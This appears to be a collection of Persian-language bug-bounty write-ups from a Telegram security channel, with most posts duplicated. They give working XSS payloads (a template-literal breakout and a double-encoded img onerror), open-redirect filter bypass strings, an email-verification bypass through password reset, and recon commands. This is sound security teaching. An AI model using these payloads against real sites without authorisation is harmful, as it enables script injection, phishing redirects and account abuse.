مهاجم تلاش میکنه از طریق وردی های وب اپلیکشن مثل فرم ها , پارامتر ها و..
کد مخرب جاوا اسکریپ رو به هر نحوی به وبسایت تزریق کنه.
توی یه کیس خاص ورودی از من از پارامتر
https://target.com/?executeSearch=test
وقتی مقدار تست رو توی سورس کد سرچ کردم وروردی من دقیقا توی این کد و داخل بک تیک رفلکت شده بود .!
<script type="text/javascript">
let search = `test`;
</script>
وقتی چشمم به این تکه کد میخوره دو تا راه بیشتر ندارم یا باید با گذاشتن خود بک تیک بریک کنم و یا تگ اسکریپ رو ببندیدم . ولی اصلا جوابگو نبود و تارگت یه بک اسلش به تگ میداد و کلا بک تیک رو هم بر میداشت :)
?executeSearch=test</script>`
خروجی:
let search = test/script;
اما و اما ما یه مفهومی داریم به اسم —> literal template javascript
این مفهوم به ما میگه شما حق داری کد جاوا اسکریپت رو توی بک تیک مستقیما با این سینتکس اجرا کنی و خروجی بگیری .!
پس تنها کاری که لازم بود انجام بدم اینکه یه الرت بزنم و تاییدیه xss رو بگیرم 😎
https://target.com/?executeSearch=${alert(origin)}
با موفقیت الرت خورد و من به xss رسیدم .🫡
نکته ای که وجود داشت اینه که اگه شما دائما در حال خوندن و ریسرچ کردن نباشید و در کنار هانتتون مقاله خوندنو کنار بزارید همچین باگایی رو بیخیال میشید پس سعی کنید زنجیره دانش رو هیچ وقت قطع نکنید .🌷
@Dagen_security
👍6❤2
چجوری html encoding رو بایپس کردم و xss زدم ؟
تارگت من یه بخش سرچ توی وبلاگ های وبسایت داشت و ورودی من توی سورس صفحه رفلکت میشد .
همونطور که توی صفحه میبینید ورودی من توی تگ <i> بود و فقط کافی بود تگی مثل <img> رو بتونم باز کنم تا به xss برسم .
ولی به این راحتی نیس تارگت هر تگی باز و بسته ای و هر دبل کد یا سینگل کدی رو به طور کامل html encode میکنه که توی تصویر مشخصه همین دلیل باعث میشه مرورگر کدو نفهمه و پارس نکنه !🤌
حالا یکی از روش های بایپس html encode اینه که شما بیای و پیلود خودتو به html entities کانورت کنی و بعد URL encode رو انجام بدی و بایپسش کنی و الرت بزنی که نمونشو توی چلنج های GYM xss داریم .
این روش برای من جوابگو نبود .!
گوشه ذهنم یه روش دیگه هم داشتم اینکه چه اتفاقی میوفته اگه من بیام و خود html encode شده تگ img رو بزارم و درخواست بزنم ؟
پیلود اینه :
کاراکتر هایی مثل ; و & تبدیلشون میکنم به انکدشون تا url رو خراب نکنن . پیلود وقتی به سرور میرسه سرور چون انتظار همچین ورودی رو نداره کاراکتر ها دیکود میکنه و همچینین عمل html decode رو انجام میده .
وقتی سورس رو باز کردم یه تگ <img> بدون هیچ فیلتری توی صفحه بود و کافی بود تمام پیلودمو با یه الرت تمومش کنم :
ممکنه این روش همه جا کار نکنه ولی تست کردنش هیچ ضرری نداره 🫡
امیدوارم لذت برده باشید 🌷
@Dagen_security
تارگت من یه بخش سرچ توی وبلاگ های وبسایت داشت و ورودی من توی سورس صفحه رفلکت میشد .
https://ads.target.com/hc-pages/search.html?search=salam
همونطور که توی صفحه میبینید ورودی من توی تگ <i> بود و فقط کافی بود تگی مثل <img> رو بتونم باز کنم تا به xss برسم .
ولی به این راحتی نیس تارگت هر تگی باز و بسته ای و هر دبل کد یا سینگل کدی رو به طور کامل html encode میکنه که توی تصویر مشخصه همین دلیل باعث میشه مرورگر کدو نفهمه و پارس نکنه !🤌
حالا یکی از روش های بایپس html encode اینه که شما بیای و پیلود خودتو به html entities کانورت کنی و بعد URL encode رو انجام بدی و بایپسش کنی و الرت بزنی که نمونشو توی چلنج های GYM xss داریم .
این روش برای من جوابگو نبود .!
گوشه ذهنم یه روش دیگه هم داشتم اینکه چه اتفاقی میوفته اگه من بیام و خود html encode شده تگ img رو بزارم و درخواست بزنم ؟
پیلود اینه :
%26lt%3bimg%26gt%3b
کاراکتر هایی مثل ; و & تبدیلشون میکنم به انکدشون تا url رو خراب نکنن . پیلود وقتی به سرور میرسه سرور چون انتظار همچین ورودی رو نداره کاراکتر ها دیکود میکنه و همچینین عمل html decode رو انجام میده .
وقتی سورس رو باز کردم یه تگ <img> بدون هیچ فیلتری توی صفحه بود و کافی بود تمام پیلودمو با یه الرت تمومش کنم :
%26lt%3bimg%20src=X%20onerror=alert(origin)%26gt%3b
ممکنه این روش همه جا کار نکنه ولی تست کردنش هیچ ضرری نداره 🫡
امیدوارم لذت برده باشید 🌷
@Dagen_security
👍13❤5
اولین باگ احراز هویتمو (Authorization bypass) چجوری زدم ؟
داستان از این قراره که من با یک صفحه ثبت نام وبسایت رو به رو شدم .
توی مواجهه با هر صفحه لاگین تمام فایل های جاوا اسکریپت های اون صفحه چک میکنم .
اولین کاری که کردم برپ سوییت رو باز کردم یه یه ثبت نام معمولی کردم و تمام در خواست هایی که رد و بدل شد رو نگاه کردم .
وب اپ از من کاربر یک ایمیل و پسورد میگرفت. وقتی ریجستر کردم منو میبرد به صفحه ای که تایید ایمیلمو انجام بدم و به یه کد تایید میفرستاد و من با داشتن کد تایید صحیح لاگین مستقیما وارد پنلم میشدم یه توکن jwt دریافت میکردم .
تا اینجا روال عادی ثبت نام رو داریم . ولی چی تو ذهن من بود ؟🤔
من با خودم گفتم چی میشه اگه من به عنوان مهاجم یه ثبت نام ناقص انجام بدم یعنی بیام و یوزر و پس بزنم ولی تایید ایمیل نکنم ؟
ثبت نام ناقص انجام بدم ولی از اون طرف برم سمت فراموشی رمز عبور سایت و ایمیلی که باهاش ثبت نام ناقص کردم رو فراموشی رمز عبور بزنم 👍
این سناریو تو ذهنم بود ولی در عمل چه اتفاقی افتاد ؟
سرور smtp یه فراموشی رمز عبور برای ایمیلی که تایید نکردم داد😐
و تنها کاری که من میکردم این که پسورد جدید بزارم و با پسورد خودم وارد پنل بشم 😎
این اسیپ پذیری از عدم هماهنگی پروایدر ایمیل و وب سرور بود در واقع هیچ چکی انجام نمیشد که ایا ایمیل تایید شده یا نه
ایمپکتش میشه من میتونم تایید ایمیل خودمو دور بزنم !
امیداوارم لذت ببرده باشید حمایت فراموش نشه 🌷
@Dagen_security
داستان از این قراره که من با یک صفحه ثبت نام وبسایت رو به رو شدم .
توی مواجهه با هر صفحه لاگین تمام فایل های جاوا اسکریپت های اون صفحه چک میکنم .
اولین کاری که کردم برپ سوییت رو باز کردم یه یه ثبت نام معمولی کردم و تمام در خواست هایی که رد و بدل شد رو نگاه کردم .
وب اپ از من کاربر یک ایمیل و پسورد میگرفت. وقتی ریجستر کردم منو میبرد به صفحه ای که تایید ایمیلمو انجام بدم و به یه کد تایید میفرستاد و من با داشتن کد تایید صحیح لاگین مستقیما وارد پنلم میشدم یه توکن jwt دریافت میکردم .
تا اینجا روال عادی ثبت نام رو داریم . ولی چی تو ذهن من بود ؟🤔
من با خودم گفتم چی میشه اگه من به عنوان مهاجم یه ثبت نام ناقص انجام بدم یعنی بیام و یوزر و پس بزنم ولی تایید ایمیل نکنم ؟
ثبت نام ناقص انجام بدم ولی از اون طرف برم سمت فراموشی رمز عبور سایت و ایمیلی که باهاش ثبت نام ناقص کردم رو فراموشی رمز عبور بزنم 👍
این سناریو تو ذهنم بود ولی در عمل چه اتفاقی افتاد ؟
سرور smtp یه فراموشی رمز عبور برای ایمیلی که تایید نکردم داد😐
و تنها کاری که من میکردم این که پسورد جدید بزارم و با پسورد خودم وارد پنل بشم 😎
این اسیپ پذیری از عدم هماهنگی پروایدر ایمیل و وب سرور بود در واقع هیچ چکی انجام نمیشد که ایا ایمیل تایید شده یا نه
ایمپکتش میشه من میتونم تایید ایمیل خودمو دور بزنم !
امیداوارم لذت ببرده باشید حمایت فراموش نشه 🌷
@Dagen_security
👍18❤7🗿6
اگه به رنج اپی سازمان رسیدی فقط پورت و سرویس http رو چک نکن !
یکی از بهترین روش ها برای دامین دیسکاوری بدست اوردن ptr record های اون سازمانه
سوال پیش میاد ptr record چیه ؟
به ما dns معکوس ptr recorde میگیم ولی ما نمیتونیم همیشه داشته باشیمش چون باید این قابلیت از طرف صادر کننده اکتیو و فعال باشه .
فرض بگیرین ما یک رنج اپی داریم !
چجوری باید از این اپی PTR RECORDE بگیریم ؟
با یه کامند ساده که فقط کافیه توی ترمینالت پیست کنی !
این کامند رنج اپی رو به عنوان ورودی به mapcidr میده که کارش پخش کردن اپی هاست و بعد این اپی ها توسط dnsx ریزالو میشن و ptr رکود ها توی خروجی نمایش داده میشه ✅
پس خیلی تجربی بهت بگم همیشه ptr رو چک کن چون یه ساب و کانتنت متفاوت گیرت میاد 👀🔥
@Dagen_security
یکی از بهترین روش ها برای دامین دیسکاوری بدست اوردن ptr record های اون سازمانه
سوال پیش میاد ptr record چیه ؟
به ما dns معکوس ptr recorde میگیم ولی ما نمیتونیم همیشه داشته باشیمش چون باید این قابلیت از طرف صادر کننده اکتیو و فعال باشه .
فرض بگیرین ما یک رنج اپی داریم !
1.1.1.1/24
چجوری باید از این اپی PTR RECORDE بگیریم ؟
با یه کامند ساده که فقط کافیه توی ترمینالت پیست کنی !
echo 1.1.1.1/24 | mapcidr -silent | dnsx -resp-only -ptr
این کامند رنج اپی رو به عنوان ورودی به mapcidr میده که کارش پخش کردن اپی هاست و بعد این اپی ها توسط dnsx ریزالو میشن و ptr رکود ها توی خروجی نمایش داده میشه ✅
پس خیلی تجربی بهت بگم همیشه ptr رو چک کن چون یه ساب و کانتنت متفاوت گیرت میاد 👀🔥
@Dagen_security
🔥14❤5👍5
قوانین حاکم بر مرورگر چیه ؟ اهمیت دونستنش چیه ؟
مرورگر صرفا یه ابزار نمایش نیست مرورگر ها یه سیستم پیچیده دارن که دقیقا بین کلاینت و وب هستند .
در داخل این سیستم مفهومی به نام Browser Security Machines وجود داره این مفهوم قوانین و مکانیزم های امنیتی مرورگر رو تعین میکنه و مشخص میکنه که چرا نباید آرجین های مختلف به دیتای همدیگر دسترسی داشته باشند و یا بخوانند .
اولین قدم : درک orgin :
برای اینکه مرورگر بدونه چه کسی به چه دادهای دسترسی داره، باید هویت را بشناسه این هویت با مفهومی به نام Origin (مبدأ) تعریف میشه
هر آرجین معتبر دقیقاً از سه جزء ساخته شده :
هر تعریف اضافه ای شامل ارجین نمیشه .!
این دو آدرس، از نظر مرورگر دو تا Origin کاملاً متفاوتند چون بخش host یکسان نیست!:
ولی توی این مثال این دو آدرس متعلق به یک Origin هستن، چون scheme، host و port یکسانه:
نکته : تعریف سایت با با آرجین یکی نیست !
نکته 2 : صفحات مختلف میتوانن آرجین های مختلف داشته باشند یا نداشته باشند . بستگی به اون سه جزء اصلی داره .
———————————————————————————————-
حالا که این مفهموم رو خوب متوجه شدیم میریم سراغ یه قانون مهم برای مرورگر ها : تفکیک مبدا
تعریف same origin policy (SOP)
قانونیه که مرورگر ها اجرا میکنند صفحات وب حق دارند که فقط با منابعی تعامل کنند که از یک ارجین باشند
مثال : اسکریپ هایی که داخل وب سایت وجود دارندحق ندارن به کانتنت اشیایی که از ارجین متفاوت هستند دسترسی داشته باشند
چرا same origin policy مهمه ؟
جلوگیری از سرقت دادهها: بدون SOP هر اسکریپتی که در مرورگر اجرا شود (مثلاً از google.com) میتونه به DOM، کوکیها، localStorage سایتها دسترسی پیدا کنه. یعنی اطلاعات حساسِ کاربر مثل توکنها بهراحتی دزدیده میشن .
وظیفه اصلی SOP چیه ؟!
مرورگر ها درخواست به http به سایت های دیگر میفرستن ولی SOP به جاوا اسکریپت اجازه دسترسی به پاسخ رو نمیده مگه اینکه CORS فعال باشه .
تگ هایی مثل :
مثال : با قرار دادن این تگ داخل وبسایت :
یه درخواست GET به evil.com میره و تصویر توی سایت لود میشه اما جاوا اسکریپت نمیتونه به پاسخ دسترسی داشته باشه و یا با گذاشتن یه
پس SOP مثل ستون امنیتی مرورگره که محدودیت رو بر اساس داده دریافتی میده نه ارسال درخواست و متوجه شدین که چرا برنامه نویس ها از سیاست امنیتی cors استفاده میکنن و چرا اهمیت داره که اسکریپت ها از ارجین های تعین شده توسط cors داده ها رو میخونن و حمله csrf چجوری میتونه از از SOP سو استفاده بکنه و دورش بزنه .
امیدوارم به درک نسبی راجب این قانون مهم برای مرورگر ها رسیده باشید . مثل همیشه حمایت فراموش نشه 🌷
@Dagen_security
مرورگر صرفا یه ابزار نمایش نیست مرورگر ها یه سیستم پیچیده دارن که دقیقا بین کلاینت و وب هستند .
در داخل این سیستم مفهومی به نام Browser Security Machines وجود داره این مفهوم قوانین و مکانیزم های امنیتی مرورگر رو تعین میکنه و مشخص میکنه که چرا نباید آرجین های مختلف به دیتای همدیگر دسترسی داشته باشند و یا بخوانند .
اولین قدم : درک orgin :
برای اینکه مرورگر بدونه چه کسی به چه دادهای دسترسی داره، باید هویت را بشناسه این هویت با مفهومی به نام Origin (مبدأ) تعریف میشه
هر آرجین معتبر دقیقاً از سه جزء ساخته شده :
scheme + host + port
هر تعریف اضافه ای شامل ارجین نمیشه .!
این دو آدرس، از نظر مرورگر دو تا Origin کاملاً متفاوتند چون بخش host یکسان نیست!:
https://www.google.com:443
https://admin.google.com:443
ولی توی این مثال این دو آدرس متعلق به یک Origin هستن، چون scheme، host و port یکسانه:
https://www.facebook.com/search
https://www.facebook.com/profile
نکته : تعریف سایت با با آرجین یکی نیست !
نکته 2 : صفحات مختلف میتوانن آرجین های مختلف داشته باشند یا نداشته باشند . بستگی به اون سه جزء اصلی داره .
———————————————————————————————-
حالا که این مفهموم رو خوب متوجه شدیم میریم سراغ یه قانون مهم برای مرورگر ها : تفکیک مبدا
تعریف same origin policy (SOP)
قانونیه که مرورگر ها اجرا میکنند صفحات وب حق دارند که فقط با منابعی تعامل کنند که از یک ارجین باشند
مثال : اسکریپ هایی که داخل وب سایت وجود دارندحق ندارن به کانتنت اشیایی که از ارجین متفاوت هستند دسترسی داشته باشند
چرا same origin policy مهمه ؟
جلوگیری از سرقت دادهها: بدون SOP هر اسکریپتی که در مرورگر اجرا شود (مثلاً از google.com) میتونه به DOM، کوکیها، localStorage سایتها دسترسی پیدا کنه. یعنی اطلاعات حساسِ کاربر مثل توکنها بهراحتی دزدیده میشن .
وظیفه اصلی SOP چیه ؟!
مرورگر ها درخواست به http به سایت های دیگر میفرستن ولی SOP به جاوا اسکریپت اجازه دسترسی به پاسخ رو نمیده مگه اینکه CORS فعال باشه .
تگ هایی مثل :
<script> <iframe> <img> میتونن بدون cors درخواست بفرستند و باز هم خواندن پاسخ توسط same origin policy بلاک میشه .مثال : با قرار دادن این تگ داخل وبسایت :
<img src="https://evil.com/track.png">
یه درخواست GET به evil.com میره و تصویر توی سایت لود میشه اما جاوا اسکریپت نمیتونه به پاسخ دسترسی داشته باشه و یا با گذاشتن یه
<iframe> داخل سایت خودمون میتونیم ببینمیش ولی جاوا اسکریپت نمیتونه محتوای داخل اون رو بخونه و یا تغیر بده .پس SOP مثل ستون امنیتی مرورگره که محدودیت رو بر اساس داده دریافتی میده نه ارسال درخواست و متوجه شدین که چرا برنامه نویس ها از سیاست امنیتی cors استفاده میکنن و چرا اهمیت داره که اسکریپت ها از ارجین های تعین شده توسط cors داده ها رو میخونن و حمله csrf چجوری میتونه از از SOP سو استفاده بکنه و دورش بزنه .
امیدوارم به درک نسبی راجب این قانون مهم برای مرورگر ها رسیده باشید . مثل همیشه حمایت فراموش نشه 🌷
@Dagen_security
❤12👍3
چجوری تونستم با نقطه چینی چکر فانکشن تارگتمو دور بزنم ؟
بعد از تکمیل ریکان سنگین رو تارگت به همچین ادرسی رسیدم :
هر مهاجمی در مواجه با همچین ادرسی باید ذهنش جرقه اسیپ پذیری open redirect رو بزنه .
پس من زوم کردم روی پارامتر و توی اولین تستم سعی کردم کاراکتر هایی مثل @ %0a . رو تست بزنم ولی تارگت فیکس فیکس بود و به من 403 میداد من فقط حق تغیر دادن قسمت path ادرس رو داشتم که کمکی بهم نکرد !
تست هایی که کردم :
رجکس خوبی داشت و هیچ جوره با تستام دور نمیخورد ولی ذهنم دنبال یه ایده جدید برای دور زدنش بود .
پس به ریپازیتوری معروف payload all the things رفتم و این پیلود رو تست کردم
و بوم ! چکر فانکشن دور خود و من ریدارکت شدم با این هاست به google.com ریدارکت شدم !
از اونجایی که ادمی نیستم که فقط چهار تست کیس رو اجرا کنم و ببینم خروجی میده یا نه رفتم سراغ ریشه اسیپ پذیری !
سوال پیش میاد چرا با نقطه چینی این چکر فانکشن دور میخوره اصلا استدلال این باگ چیه ؟
ببینید فریم ورک ها و برنامه ها میگن اگر کاربر کاراکتری رو اشتباه وارد کرد و این اشتباه پیش بینی شده بود خودمون به صورت اتوماتیک این تبدیل رو براش انجام میدیم
پس توی سناریو ما , مرورگر میگه اگر تو نقطه چینی گذاشتی(。) من خودم این نقطه رو به نقطه معمولی (.) تبدیل میکنم و هیچ خطایی نشون نمیدم .
آیا این تبدیل مرورگر نا امنه ؟
به هیچ عنوان این تبدیل نا امن نیست .
در واقع این باگ زمانی اتفاق میوفته که چکر فانکشنی که توی سرور وجود دراه توی چکی که انجام میده این ادرس رو معتبر نمیدونه و براش نا آشناس ولی مرورگر فکر میکنه این کاراکتر به اشتباه وارد شده و ما رو به گوگل ریدارکت میکنه
پس عدم هماهنگی بین چکر فانکشن و مرورگره .
از دید RFC این ادرس معتبره :
ولی چکر فانکشن سمت سرور چون از RFC پیروری نمیکنه عدم نا همانگی پیش میاد و اسیپ پذیری به وجود میاد .👍
این عدم نا هماهنگی بین دو تا پروداکت امن رو توی همه اسیب پذیری ها رایجه و مشکلیه که به راحتی پچ نمیشه امیدوارم این مفهوم خیلی مهم رو درک کرده باشید و دنبال ریشه مکانیزم های امنیتی باشید 🌷
@Dagen_security
بعد از تکمیل ریکان سنگین رو تارگت به همچین ادرسی رسیدم :
https://target.com?redirect_url = https://target.com/test
هر مهاجمی در مواجه با همچین ادرسی باید ذهنش جرقه اسیپ پذیری open redirect رو بزنه .
پس من زوم کردم روی پارامتر و توی اولین تستم سعی کردم کاراکتر هایی مثل @ %0a . رو تست بزنم ولی تارگت فیکس فیکس بود و به من 403 میداد من فقط حق تغیر دادن قسمت path ادرس رو داشتم که کمکی بهم نکرد !
تست هایی که کردم :
?redirect_url=https://target.com.google.com
?redirect_url=https://target.com\@google.com
?redirect_url=https://target.computer
?redirect_url=https://target.com&redirect_url=google.com
?redirect_url[]=https://target.com&redirect_url=google.com
رجکس خوبی داشت و هیچ جوره با تستام دور نمیخورد ولی ذهنم دنبال یه ایده جدید برای دور زدنش بود .
پس به ریپازیتوری معروف payload all the things رفتم و این پیلود رو تست کردم
google。com
و بوم ! چکر فانکشن دور خود و من ریدارکت شدم با این هاست به google.com ریدارکت شدم !
از اونجایی که ادمی نیستم که فقط چهار تست کیس رو اجرا کنم و ببینم خروجی میده یا نه رفتم سراغ ریشه اسیپ پذیری !
سوال پیش میاد چرا با نقطه چینی این چکر فانکشن دور میخوره اصلا استدلال این باگ چیه ؟
ببینید فریم ورک ها و برنامه ها میگن اگر کاربر کاراکتری رو اشتباه وارد کرد و این اشتباه پیش بینی شده بود خودمون به صورت اتوماتیک این تبدیل رو براش انجام میدیم
پس توی سناریو ما , مرورگر میگه اگر تو نقطه چینی گذاشتی(。) من خودم این نقطه رو به نقطه معمولی (.) تبدیل میکنم و هیچ خطایی نشون نمیدم .
آیا این تبدیل مرورگر نا امنه ؟
به هیچ عنوان این تبدیل نا امن نیست .
در واقع این باگ زمانی اتفاق میوفته که چکر فانکشنی که توی سرور وجود دراه توی چکی که انجام میده این ادرس رو معتبر نمیدونه و براش نا آشناس ولی مرورگر فکر میکنه این کاراکتر به اشتباه وارد شده و ما رو به گوگل ریدارکت میکنه
پس عدم هماهنگی بین چکر فانکشن و مرورگره .
از دید RFC این ادرس معتبره :
google。com
ولی چکر فانکشن سمت سرور چون از RFC پیروری نمیکنه عدم نا همانگی پیش میاد و اسیپ پذیری به وجود میاد .👍
این عدم نا هماهنگی بین دو تا پروداکت امن رو توی همه اسیب پذیری ها رایجه و مشکلیه که به راحتی پچ نمیشه امیدوارم این مفهوم خیلی مهم رو درک کرده باشید و دنبال ریشه مکانیزم های امنیتی باشید 🌷
@Dagen_security
❤18💯2
دوستان، تمام آسیبپذیریها و سناریوهایی که اینجا میذارم، روی تارگت واقعی تست شدن. هیچ روش منسوخ یا تکراری اینجا جایی نداره. همیشه سعی میکنیم بهترین و خلاقانهترین محتوا رو برای اعضای چنل آماده کنیم . 🙌
@Dagen_security
@Dagen_security
🔥22❤7
یکی از خفنترین ابزارها که میتونین باهاش اپن ریدارکتههای زیادی بزنید، این ابزاره .
https://github.com/0xacb/recollapse
کارش اینه که مجموعهای از روشهای عمومی دور زدن فیلتر ها رو اتومات میکنه .
پیلود های مختلفی که میسازه باعث گیج شدن وف و چکر فانکشن میشه .
اگه به دنبال یه ابزار برای دور زدن فیلتر ها و شکار اپن ریدارکتی دقیقا همون چیزیه که باید توی تست کیسات داشته باشی 🫡
@Dagen_security
https://github.com/0xacb/recollapse
کارش اینه که مجموعهای از روشهای عمومی دور زدن فیلتر ها رو اتومات میکنه .
پیلود های مختلفی که میسازه باعث گیج شدن وف و چکر فانکشن میشه .
اگه به دنبال یه ابزار برای دور زدن فیلتر ها و شکار اپن ریدارکتی دقیقا همون چیزیه که باید توی تست کیسات داشته باشی 🫡
@Dagen_security
❤16👍2